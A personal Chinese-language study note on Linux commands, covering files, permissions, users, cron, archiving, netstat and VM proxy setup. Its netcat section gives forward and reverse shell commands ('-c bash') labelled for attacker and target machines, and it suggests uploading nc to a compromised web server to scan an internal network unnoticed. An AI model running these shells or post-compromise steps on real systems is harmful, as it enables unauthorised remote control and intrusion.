linux学习

linux目录结构

linux基础命令

单用户操作系统和多用户操作系统

单用户操作系统:指一台计算机在同一时间只能由一个用户使用,一个用户独自享用全部的软件和硬件资源。

​ windows xp之前的版本都是单用户操作系统

多用户操作系统:指一台计算机在同一时间可以由多个用户使用,多个用户共同享用全部的软件和硬件资源。

​ Unix和linux的设计初衷就是多用户操作系统

1.常用linux命令的基本使用

命令 作用
ls 查看当前文件夹下的内容
pwd 查看当前所在文件夹
cd [目录名] 切换文件夹
touch [文件名] 如果文件不存在,新建文件
mkdir [目录名] 创建目录
rm [文件名] 删除指定的文件名
clear 清屏

查阅命令帮助信息

1. command --help
2. man command

使用man时的操作键:

操作键 功能
空格 手册页的下一页
b 回滚一屏
Enter键 一次滚动手册页的一行
q 退出

ls常用参数:

参数 含义
-a 显示指定目录下所有子目录与文件,包括隐藏文件
-l 以列表方式显示文件的详细信息
-h 配合 -l以人性化的方式显示文件大小

ls通配符的使用:

通配符 含义
* 代表任意个数个字符
? 代表任意一个字符,必须是一个
[] 表示可以匹配字符组中的任一一个。例如[123]、[a-f]

cd常用参数:

命令 含义
cd 切换到当前用户的主目录(/home/用户目录)
cd ~ 切换到当前用户的主目录(/home/用户目录)
cd - 可以在最近两次工作目录之间来回切换

touch扩展:

​ 如果文件不存在,可以创建一个空白文件

​ 如果文件已经存在,可以修改文件的末次修改日期

mkdir常用参数:

参数 含义
-p 可以递归创建目录

注意:在当前目录中,目录与文件不能同名

rm常用参数:

rm删除的内容不能恢复!

选项 含义
-r 删除目录时必须使用次参数,并且能递归删除目录下的内容
-f 强制删除,忽略不存在的文件,无需提示

2.拷贝和移动文件

命令 作用
tree 以树状图列出文件目录结构
cp 源文件 目标文件 复制文件
mv 源文件 目标文件 移动文件或者目录/文件或者目录重命名

tree:

选项 含义
-d 只显示目录

cp:

选项 含义
-i 覆盖文件前提示
-r 若给出的源文件是目录文件,则cp将递归复制该目录下的所有子目录和文件,目标文件必须为一个目录名

mv:

选项 含义
-i 覆盖文件前提示

3.查看文件内容

命令 作用
cat 文件名 查看文件内容、创建文件、文件合并、追加文件内容等功能
more 文件名 分屏显示文件内容
grep 搜索文本 文件名 搜索文本文件内容

cat:

选项 含义
-b 对非空输出行编号
-n 对输出的所有行编号

grep:

选项 含义
-n 显示匹配行及行号
-v 显示不包括含匹配文本的所有行
-i 忽略大小写

grep允许对文本进行模式查找,所谓模式查找,又被称为正则表达式

参数 含义
^a 行首,搜村以a开头的行
ke$ 行尾,搜寻以ke结束的行

4.输出

echo 文字内容

​ echo 会在终端显示参数指定的文字,通常会和重定向联合使用

重定向>和>>

linux允许将命令执行结果重定向到一个文件,将本应显示在终端上的内容输出/追加到指定文件中

​ >表示输出,会覆盖文件原有内容

​ >> 表示追加,会将内容追加到已有文件的末尾

管道|

linux允许将一个命令的输出可以通过管道 | 作为另一个命令的输入

常用的管道命令有:

more、grep

5.远程管理命令

shutdown:

命令 含义
shutdown 选项 时间 关机/重启
shutdown now/20:25 立刻/20:25关机
shutdown -r now/20:25 立刻/20:25重启
shutdown +10 系统再过十分钟关机
shutdown -c 取消之前的关机计划

若不指定选项和参数,默认表示1分钟之后关闭电脑

远程登录和复制文件:

命令 作用
ssh 用户名@ip 远程登录会话
scp 用户名@ip:文件名或路径 用户名@ip:文件名或路径 远程复制文件

ssh:

​ 数据传输是加密的,可以防止信息泄露

​ 数据传输是压缩的,可以提高传输速度

ssh [-p port] user@ip
//port是SSH Server监听的端口,如果不指定,就默认为22

免密码登录:

1.配置公私钥: 执行 ssh-keygen即可生成ssh钥匙,一路回车即可
2.上传公钥(id_rsa.pub)到服务器: 执行 ssh-copy-id -p port user@ip ,可以让远程服务记住我们的公钥

配置别名:

在~/.ssh/config里面追加以下内容:
Host win
    HostName ip地址
    user jack
    Port 22

设置的免密码登录和配置的别名对于scp命令同样适用

scp:

它的地址格式与ssh基本相同,需要注意的是,在制定端口时用的时大写的 -P而不是小写的

//把本地当前目录下的 01.py文件复制到 远程家目录下的 Desktop/01.py
//注意: ':'后面的路径如果不是绝对路径,则以用户的家目录作为参照路径
scp -P port 01.py user@ip:Desktop/01.py

//把远程家目录下的 Desktop/01.py文件复制到 本地当前目录下的01.py
scp -P port user@ip:Desktop/01.py 01.py

#加上 -r 选项可以传送文件夹

6.用户权限相关命令

对文件/目录的权限包括:

权限 缩写
r
w
执行 x

为了方便用户管理,提出了的概念

ls -l扩展

文件类型,(“-” 表示普通文件,“d” 表示目录,“l” 表示软链接文件,“p” 表示pipe管道文件,“b” 表示块设备文件,“c” 表示字符设备文件,“s” 表示socket套接字文件,用于实现两个进程间通信)

权限,分别表示文件所有者的权限,组的权限和其他用户的权限

硬链接数,通俗的讲,就是有多少中方式,可以访问到当前目录/文件

拥有者,家目录下 文件/目录 的拥有者通常都是当前用户

组,在linux中,很多时候,会出现组名和用户名相同的情况

大小

时间

名称(蓝色代表目录/文件夹、浅蓝色代表链接文件、绿色代表可执行文件、灰白色代表一般文件、红色代表压缩文件、黄色代表设备文件)

chmod

chmod可以修改用户/组 对 文件/目录的权限

命令格式:

chmod +/-rwx 文件名|目录名
//会同时修改用户、组和其他用户的权限,不能精准定位

注:要想在目录下执行终端命令(ls、touch),就必须要有可执行权限!!!

chmod在设置权限时,可以简单的使用三个数字,分别对应 拥有者/组和其他 用户的权限

chmod -R 755 文件名|目录名	R表示递归修改权限
r w x
4 2 1

超级用户

linux 系统中的root账号通常用于系统的维护和管理,对操作系统的所有资源具有所有访问权限

在linux安装过程中,系统会自动创建一个用户账号,而这个默认的用户就被称为“标准用户”

sudo

sudo命令用来以其他身份来执行命令,预设的身份是root

用户使用sudo时,必须先输入密码,之后有5分钟的有效期限,超过期限则必须重新输入密码

组管理 终端命令

注:创建组/删除组的终端命令都需要通过sudo执行

命令 作用
groupadd 组名 添加组
groupdel 组名 删除组
cat /etc/group 确认组信息
chown 用户名 文件名|目录名 修改文件/目录的拥有者
chgrp -R 组名 文件/目录名 修改文件/目录的所属组

用户管理 终端命令

注:创建用户/删除用户/修改其他用户密码 的终端命令都需要通过sudo执行

创建用户/设置密码/删除用户

命令 作用 说明
useradd -m -g 组 新建用户名 添加新用户 -m 自动建立用户家目录 | -g 指定用户所在的组,否则会建立一个和用户同名的组
passwd 用户名 设置用户密码 如果是普通用户,直接用passwd可以修改自己的账户密码
userdel -r 用户名 删除用户 -r选项会自动删除用户家目录
cat /etc/passwd 确认用户信息 新建用户后,用户信息会保存在/etc/passwd文件中

查看用户信息

命令 作用
id [用户名] 查看用户UID(用户代号,在/etc/passwd)和GID(组代号,在/etc/group)信息
who 查看当前所有登录的用户列表
whoami 查看当前登录用户的账户名

passwd文件

/etc/passwd文件存放的是用户的信息,由6个分号组成的7个信息,分别是

用户名:密码(x表示加密的密码):UID:GID:用户全名或本地账号:家目录:登录使用的shell(就是登录之后使用的终端命令)

usermod

usermod可以用来设置用户的 主组/附加组登录shell

主组:通常在新建用户时指定,在/etc/passwd的第4列GID对应的组

附加组:在/etc/group中最后一列表示该组的用户列表,用于指定 用户的附加权限

​ 提示:设置了用户的附加组之后,需要重新登录才能生效!

//修改用户的主组
usermod -g 组 用户名 !!!慎用
!!!注!!!:usemod -G 改写用户的附加组之后,用户的附加组信息是覆盖,也就是说usermod使用户只能存在于一个附加组。

//修改用户登录shell
usermod -s /bin/bash 用户名

​ 注:默认时使用useradd添加的用户是没有权限使用sudo以root身份执行命令的,可以使用usermod -G sudo 用户名 将用户添加到sudo附加组中

注:usemod -G 改写用户的附加组之后,用户的附加组信息是覆盖,也就是说usermod使用户只能存在于一个附加组。使用户同时属于多个附加组要使用gpasswd:

gpasswd

//添加用户到组
gpasswd -a 用户名 组名

//从组删除用户
gpasswd -d 用户名 组名

which

which命令可以查看执行命令所在位置,例如:

which ls
# /bin/ls

which useradd
# /usr/sbin/useradd

bin和sbin

在linux中,绝大多数可执行文件都是保存在/bin、/sbin、/usr/bin、/usr/sbin

/bin是二进制执行文件目录,主要用于具体应用

/sbin是系统管理员专用的二进制代码存放目录,主要用于系统管理

/usr/bin是整个系统安装好后后期安装的一些软件

/usr/sbin是超级用户的一些管理程序

切换用户

命令 作用 说明
su - 用户名 切换用户,并且切换目录 - 可以切换到用户家目录,否则保持位置不变
exit 退出当前登录账户

su不接用户名,可以切换到root

7.系统信息相关命令

时间和日期

序号 作用
date 查看系统时间
cal 查看日历,-y可以查看一年的日历

磁盘信息

命令 作用
df -h disk free 显示磁盘剩余空间大小
du -h [目录名] disk usage 显示目录下文件大小(没有指定目录名时会显示当前目录)

-h:以人性化的方式显示文件大小

进程信息

命令 作用
ps aux process status 查看进程的详细状况
top 动态显示进行中的进程并且排序
kill [-9] 进程代号 终止指定代号的进程,-9表示强行终止

​ ps默认只会显示当前用户通过终端启动的应用程序

​ 要退出top可以直接输入q

ps选项说明

选项 含义
a 显示终端上的所有进程,包括其他用户的进程
u 显示进程的详细状态
x 显示没有控制终端的进程

8.其他命令

查找文件

命令 作用
find [路径] -name “*.py” 查找指定路径下扩展名是.py的文件,包括子目录

软链接

命令 作用
ln -s 被链接的源文件 链接文件 建立文件的软链接,用通俗的方式讲类似于windows下的快捷方式

注:没有 -s 选项建立的是一个 硬链接 文件

​ 源文件要使用绝对路径,不能使用相对路径,这样可以方便移动链接文件后,仍然能正常使用

硬链接

在linux中,文件名文件数据 是分开存储的

打包/解包

tar 是linux中最常用的备份工具,此命令可以 把一系列文件 打包到 一个大文件中,也可以把一个 打包的大文件恢复成一系列文件

//打包文件
tar -cvf 打包文件.tar 被打包的文件/路径

//解包文件
tar -xvf 打包文件.tar

tar选项说明

选项 含义
c 生成档案文件,创建打包文件
x 解开档案文件
v 列出归档解档的详细过程,显示进度
f 指定档案文件名称,f后面一定是.tar文件,所以必须方选项最后

注:f 选项必须放在最后,其他选项顺序可以随意

压缩/解压缩

gzip

tar 与 gzip 命令结合可以实现文件 打包和压缩

tar 只负责打包文件,但不压缩

用 gzip压缩tar 打包后的文件,其扩展名一般用 xxx.tar.gz

在 linux中,最常见的压缩文件格式就是xxx.tar.gz

在tar 命令中有一个 -z 选项可以调用 gzip,从而可以方便的实现压缩和解压缩的功能

//压缩文件
tar -zcvf 打包文件.tar.gz 被压缩的文件/路径...

//解压缩文件
tar -zxvf 打包文件.tar.gz

//解压缩到指定路径
tar -zxvf 打包文件.tar.gz -C 目标路径
bzip2

tar 与 bzip2 命令结合可以使用实现文件 打包和压缩

tar 只负责打包文件,但不压缩

用 bzip 压缩 tar 打包后的文件,其扩展名一般用 xxx.tar.bz2

在tar 命令中有一个 -j 选项可以调用 gzip,从而可以方便的实现压缩和解压缩的功能

//压缩文件
tar -jcvf 打包文件.tar.gz 被压缩的文件/路径...

//解压缩文件
tar -jxvf 打包文件.tar.gz

//解压缩到指定路径
tar -jxvf 打包文件.tar.gz -C 目标路径
选项 含义
-C 解压缩到指定目录,注意:指定的目录必须存在

定时任务

在 Linux 中创建定时任务通常使用 Cron 服务。Cron 是一个用于在预定时间执行特定任务的系统工具。

创建的cron定时文件在/var/spool/cron/[crontabs]/<username>文件夹下,一般以创建定时用户的用户名命名

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)

基本操作:

#1.编辑cron表
crontab -e
#2.指定cron作业
* * * * * command
(*从左到右分别指分钟 (0 - 59)、小时 (0 - 23)、日期 (1 - 31)、月份 (1 - 12)、星期几 (0 - 7,0 和 7 都代表星期日))

其他选项:

#列出当前用户的cron作业
crontab -l
#从文件导入cron作业
crontab filename
#删除当前用户的所有cron作业
crontab -r

软件安装

通过 apt 安装/卸载软件

apt 是 advanced Packing Tool ,是linux下的一款安装包管理工具

//安装软件
sudo apt install 软件名

//卸载软件
sudo apt remove 软件名

//更新已安装的包
sudo apt upgrade
一个小火车
sudo apt install sl
一个当前进程排名软件
sudo apt install htop

linux进阶命令

netstat(查看网络服务及监听端口)

Netstat 是一款命令行工具,可用于列出系统上所有的网络套接字连接情况,包括 tcp, udp 以及 unix 套接字,另外它还能列出处于监听状态(即等待接入请求)的套接字。

若使用netstat -nlpt会显示如下信息:

属性列表:

|Proto|连接协议的种类 |Recv-Q|接收到的字节数 |Send-Q|从本服务器发出去的字节数

|Local Address|本地ip地址/主机名 |Foreign Address|远程主机的IP地址 |state|网络连接状态

|PID/Program name|进程号/进程名

State(网络连接状态)详解:

LISTEN:(Listening for a connection.)侦听来自远方的TCP端口的连接请求
SYN-SENT:(Active; sent SYN. Waiting for a matching connection request after having sent a connection request.)再发送连接请求后等待匹配的连接请求
SYN-RECEIVED:(Sent and received SYN. Waiting for a confirming connection request acknowledgment after having both received and sent connection requests.)再收到和发送一个连接请求后等待对方对连接请求的确认
ESTABLISHED:(Connection established.)代表一个打开的连接
FIN-WAIT-1:(Closed; sent FIN.)等待远程TCP连接中断请求,或先前的连接中断请求的确认
FIN-WAIT-2:(Closed; FIN is acknowledged; awaiting FIN.)从远程TCP等待连接中断请求
CLOSE-WAIT:(Received FIN; waiting to receive CLOSE.)等待从本地用户发来的连接中断请求
CLOSING:(Closed; exchanged FIN; waiting for FIN.)等待远程TCP对连接中断的确认
LAST-ACK:(Received FIN and CLOSE; waiting for FIN ACK.)等待原来的发向远程TCP的连接中断请求的确认
TIME-WAIT:(In 2 MSL (twice the maximum segment length) quiet wait after close. )等待足够的时间以确保远程TCP接收到连接中断请求的确认
CLOSED:(Connection is closed.)没有任何连接状态

Netstat选项:

-a或--all:显示所有连线中的Socket;
-A<网络类型>或--<网络类型>:列出该网络类型连线中的相关地址;
-c或--continuous:持续列出网络状态;
-C或--cache:显示路由器配置的缓存信息;
-e或--extend:显示拥有者信息;
-F或--fib:显示FIB;
-g或--groups:显示多重广播功能群组组员名单;
-h或--help:在线帮助;
-i或--interfaces:显示网络界面信息表单;
-l或--listening:显示监控中的服务器的Socket;
-M或--masquerade:显示伪装的网络连线;
-n或--numeric:直接使用IP地址,而不通过域名服务器(禁用反向域名解析);
-N或--netlink或--symbolic:显示网络硬件外围设备的符号连接名称;
-o或--timers:显示计时器;
-p或--programs:显示正在使用Socket的程序识别码和程序名称;(必须使用root权限)
-r或--route:显示路由表;
-s或--statistics:显示网络工作信息统计表;
-t或--tcp:显示TCP传输协议的连线状况;
-u或--udp:显示UDP传输协议的连线状况;
-v或--verbose:显示指令执行过程;
-V或--version:显示版本信息;
-w或--raw:显示RAW传输协议的连线状况;
-x或--unix:此参数的效果和指定-A unix参数相同;
--ip或--inet:此参数的效果和指定-A inet参数相同。

例如:

netstat -a		列出 tcp, udp 和 unix 协议下所有套接字的所有连接。
netstat -c		持续输出信息
netstat	-at		列出所有tcp连接
netstat -au		列出所有udp连接
netstat -atn	禁用反向域名解析,加快查询速度
netstat -tln	只列出监听中的连接(不要使用 -a 选项,否则 netstat 会列出所有连接,而不仅仅是监听端口。)
netstat -tlpe	获取进程名、进程号(-p选项必须使用root权限)以及用户名( 假如你将 -n 和 -e 选项一起使用,User 列的属性就是用户的 ID 号,而不是用户名。)
netstat -rn		显示内核路由信息
netstat -ie		打印网络接口信息(-i输出的信息比较原始,可以配合-e输出用户友好的信息,输出信息与 ifconfig 输出的信息一样。)

注:[::]:*:::*表示所有可用的Ipv6地址上的所有端口,0.0.0.0:*表示所有可用的Ipv4地址上的所有端口(以上都是ipv6和ipv4地址和端口通配符的写法)

netcat

netcat是网络界的瑞士军刀,使用netcat,可以解决客户端主动连接服务器被防火墙拦截的问题,使用netcat,我们的pc(控制端)相当于服务器,服务器(被控制端)相当于一个客户端。

目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包

-c: 如同'-e',使用/bin/sh来执行
-d: 后台模式
-e: 连接后要执行的程序 (程序重定向)
-g<网关>: 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目>: 设置源路由指向器的数量,值为4的倍数。
-i<延迟秒数>: 设置时间间隔,以便传送信息及扫描通信端口
-l: 使用监听模式,管理和控制传入的数据
-n: 直接使用IP地址,不通过域名服务器(禁用反向域名解析)
-o<输出文件>: 指定文件名称,把往来传输的数据转换为16进制字符后保存在该文件中
-p<通信端口>: 设置本机使用的通信端口
-r: 随机指定本机与远程主机的通信端口
-s<源地址>: 设置本机送出数据包的IP地址
-u: 使用UDP传输协议
-v: 详细输出(`-v`: 显示基本的信息。`-vv`: 显示更详细的信息。`-vvv`: 显示更加详细和详尽的信息。)
-w<超时秒数>:设置等待连线的时间
-z: 将输入/输出功能关闭,只在扫描通信端口时使用(仅仅是去 ping 去探测目标是否开启指定端口,不进行任何的交互)

常用:

#端口扫描
nc -nvz 172.168.1.101 1-100 
(nc -nvz ip port) (z仅仅是去探测目标是否开启指定端口,不进行任何交互。z 参数默认扫描的是 tcp 类型,如果需要扫描 udp,则需要使用参数 u。)(单纯的端口扫描利用其它工具比如 nmap会更好。nc端口扫描最主要的用途是,当我们获得了一个网站的权限之后对内网进行扫描。然而,我们的nmap工具是不能扫描到内网的,所以这时我们可以把nc上传到web服务器上,利用它来扫描内网主机。而由于nc体积很小,所以不容易被发现。)
------------------------------------------------------------------------------------
#传输文本信息
A计算机监听,B计算机以连接的方式去连接其指定的端口(监听方和连接方都可互发信息)
A: netcat -lp 666
B: netcat -nv 192.168.1.103 666
------------------------------------------------------------------------------------
#传输文件和目录
与文本信息传输类似
A: netcat -lp 666>1.jpg
B: netcat -nv 192.168.1.103 666<1.jpg
对于传输目录与文件传输类似,传输时将目录压缩进行传输,接收时解压
A: tar cvf - fa/ | nc -lp 666
B: netcat -nv 192.168.1.103 666 | tar xvf -
------------------------------------------------------------------------------------
#正向shell
正向是目标机器主动指定 bash并监听,然后通过攻击机连接目标机的端口,攻击机输入命令,执行命令的是目标机器
目标机器: netcat -lp 666 -c bash
攻击机:  netcat 192.168.1.103 666
#反向shell
正向是攻击机监听端口,然后通过目标机器主动指定bash并连接,攻击机输入命令,执行命令的是目标机器
攻击机: netcat -lp 666
目标机器: netcat 192.168.1.103 666 -c bash

参考:https://zhuanlan.zhihu.com/p/397058259

其他

linux文件描述符

在Linux系统中,文件描述符(File Descriptor)是一个非负整数,用于标识一个打开的文件或I/O流。Linux系统中,文件描述符用于访问文件、设备、网络套接字等资源。

常见的文件描述符:

  1. 标准输入(stdin):文件描述符为0,通常指向键盘输入。
  2. 标准输出(stdout):文件描述符为1,通常指向屏幕输出。
  3. 标准错误(stderr):文件描述符为2,通常也指向屏幕输出,但用于错误消息。
#重定向标准输出到文件:
cat foo > foo.txt
#重定向标准错误到文件:
cat foo 2> foo.txt
#重定向标准输出,标准错误到同一个文件:
1. cat foo > foo.txt 2>&1
2. cat foo &> foo.txt
3. cat foo >& foo.txt(在一些shell中这被认为是错误的语法)
& 表示等同于的意思,2>&1,表示2的输出重定向位置等同于1的位置,即和1重定向的文件系统上的位置是一样的
(以上实例都是覆盖写入,可以将其改为>>追加写入)

虚拟机配置网络代理

(1)clash直接开启allow lan模式,虚拟机设置nat模式

以下都需要在clash全局模式(global)下

(2)虚拟机使用net网络模式

​ 直接在主机clash上开启TUN模式和混合配置(mixin)(防止冲突关闭systemproxy系统代理)

按照上面三步依次执行,最后点开mixin选项,编辑文件,删除里面的内容,粘贴上下面的内容即可!

mixin:
   hosts:
     'mtalk.google.com': 108.177.125.188
     'services.googleapis.cn': 74.125.203.94
     'raw.githubusercontent.com': 151.101.76.133
   dns:
     enable: true
     default-nameserver:
       - 223.5.5.5   # 阿里的DNS服务器
       - 1.0.0.1     # CloudFlare的DNS服务器
     ipv6: false
     enhanced-mode: redir-host #fake-ip
     nameserver:
       - https://dns.rubyfish.cn/dns-query
       - https://223.5.5.5/dns-query
       - https://dns.pub/dns-query
     fallback:
       - https://1.0.0.1/dns-query
       - https://public.dns.iij.jp/dns-query
       - https://dns.twnic.tw/dns-query
     fallback-filter:
       geoip: true
       ipcidr:
         - 240.0.0.0/4
         - 0.0.0.0/32
         - 127.0.0.1/32
       domain:
         - +.google.com
         - +.facebook.com
         - +.twitter.com
         - +.youtube.com
         - +.xn--ngstr-lra8j.com
         - +.google.cn
         - +.googleapis.cn
         - +.gvt1.com
   tun:
     enable: true
     stack: gvisor
     dns-hijack:
       - 198.18.0.2:53
     macOS-auto-route: true
     macOS-auto-detect-interface: true # 自动检测出口网卡

(3)虚拟机使用桥接模式

​ <1>clash开启系统代理(systemproxy)

​ <2>linux进入/etc/profile.d目录,新建proxy.sh,内容如下:

export proxy="http://192.168.150.1:7890"
export http_proxy=$proxy
export https_proxy=$proxy
export HTTP_PROXY=$proxy
export HTTPS_PROXY=$proxy
export all_proxy=socks5://192.168.10.103:7890

​ <3>执行脚本文件

sourch proxy.sh

​ <4>配置github网络代理

git config --global http.https://github.com.proxy socks5://192.168.150.1:7890

​ <5>检查代理

curl cip.cc

​ <6>浏览器代理需要单独配置,chrome可以用代理插件

Linux配置文件路径大全

1:/etc/sysconfig/i18n(语言配置文件).2:/etc/sysconfig/network-scripts/ifcfg-eth0(eth0配置文件).
3:/boot/grub/grub.conf(grup配置文件) 或/boot/grub/menu.list.
4:/etc/passwd:系统用户数据库文件.
5:/etc/group:组的数据库文件.
6:/etc/gshadow(存放密码).
7:/etc/shadow(存放密码).
8:/etc/profile(系统环境).
9:/etc/bashrc(系统变量).
10:/etc/shells(存放shell).
11:/etc/sudoers(sudo配置文件).
12:/etc/inittab(设置启动级别).
13:/etc/rc.d/rc.local系统启动是执行的文件类似于windows的autoexec.bat).
14HOME/Xclients(控制启动x客户端).
15:/etc/X11/Xinit/xinitrc.d/xinput(启动x-windows的加载程序配置文件).
16:/etc/fstab(文件系统格式表).
17:/var/log/(存放日志目录).
18:/var/spool/at/(存放at时间任务的目录).
19:/etc/at.deny(禁止时间任务,针对用户).
20:/etc/at.allow( 允许时间任务,针对用户).
21:/etc/crontab(crontab配置文件).
22:/etc/anacrontab(anacrontab配置文件).
23:/etc/moudle.conf(网卡,声卡,usb的模块).
24:/etc/protocols(协议).
25:/etc/services(端口).
26:/etc/dhcpd.conf(DHCP配置文件,默任不存在).
27:/var/lib/dhcp/dhcpd.leases(查看哪个用户,使用你的dhcp服务器).
29:/etc/hosts 或者 /etc/sysconfig/network(修改主机名).
30:/etc/named.conf(DNS主配置文件).
31:/etc/host.conf(解晰主机时用host表还是dns).
32:/etc/resolv.conf(指定dns服务器ip).
33:/etc/httpd/conf/httpd.conf(apache配置文件)
34:/etc/mail/(sendmail目录).
35:/etc/aliases(别名配置文件).
36:/etc/samba/smb.conf(smb配置文件).
37:/etc/proftpd.conf(ftp配置文件).
38:/etc/squid/squid.conf(squid配置文件).
39:/etc/pam.d/su(限制用户使用su).
40:/etc/secruetty(限制根用户直接登陆终端).
41:/etc/secrrity/access.conf(限制某用户登陆).
42:/etc/nologin(限制所有用户登陆).
43:/etc/sudoers(强制用户每次使用sudo输入密码).
44:/etc/security/time.conf(限制用户登陆系统时间).
45:/etc/hosts.allow
46:/etc/hosts.deny
47:/etc/issue(登陆提示)
48:/etc/issue.net(远程登陆提示).
49:/etc/motd(输入用户名和密码后看到的内容).
50:/etc/login.defs(生成新用户,基本参数).
51:/etc/logrotate.conf(日志文件各级的选项).
52:/proc/sys/net/ipv4/ip_forward(即使路由功能打开).
53:/etc/sysctl.conf(永久打开路由功能).
54:/proc/sys/net/ipv4/icmp_echo_igore_all(是否允许ping).
55:/proc/sys/net/ipv4/icmp_echo_ignore_broadcasts(广播ping)
56:/proc/self/cmdline(获取当前执行系统命令)
57:/proc/net/arp(查看内网存活主机)
58:/etc/hosts(同上)
59:/proc/net/tcp
60:/proc/net/udp
61:/proc/net/dev
62:/proc/net/fib_trie
63:/proc/self/environ
64:/sys/class/net/eth0/address(获得网卡mac地址)

Nginx 重要文件目录

配置文件存放目录:/etc/nginx

主要配置文件:/etc/nginx/conf/nginx.conf

管理脚本:/usr/lib64/systemd/system/nginx.service

模块:/usr/lisb64/nginx/modules

linux下的快捷键

ctrl+c强行中断当前程序的执行。
ctrl+z将任务中断,但是此任务并没有结束,他仍然在进程中,只是放到后台并维持挂起的状态。如需其在后台继续运行,需用“bg 进程号”使其继续运行;再用"fg 进程号"可将后台进程前台化。
ctrl+\表示退出。
ctrl+d表示结束当前输入(即用户不再给当前程序发出指令),那么Linux通常将结束当前程序。(ctrl-d 不是发送信号,而是表示一个特殊的二进制值,表示 EOF。)(在shell中,ctrl-d表示退出当前shell.)

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。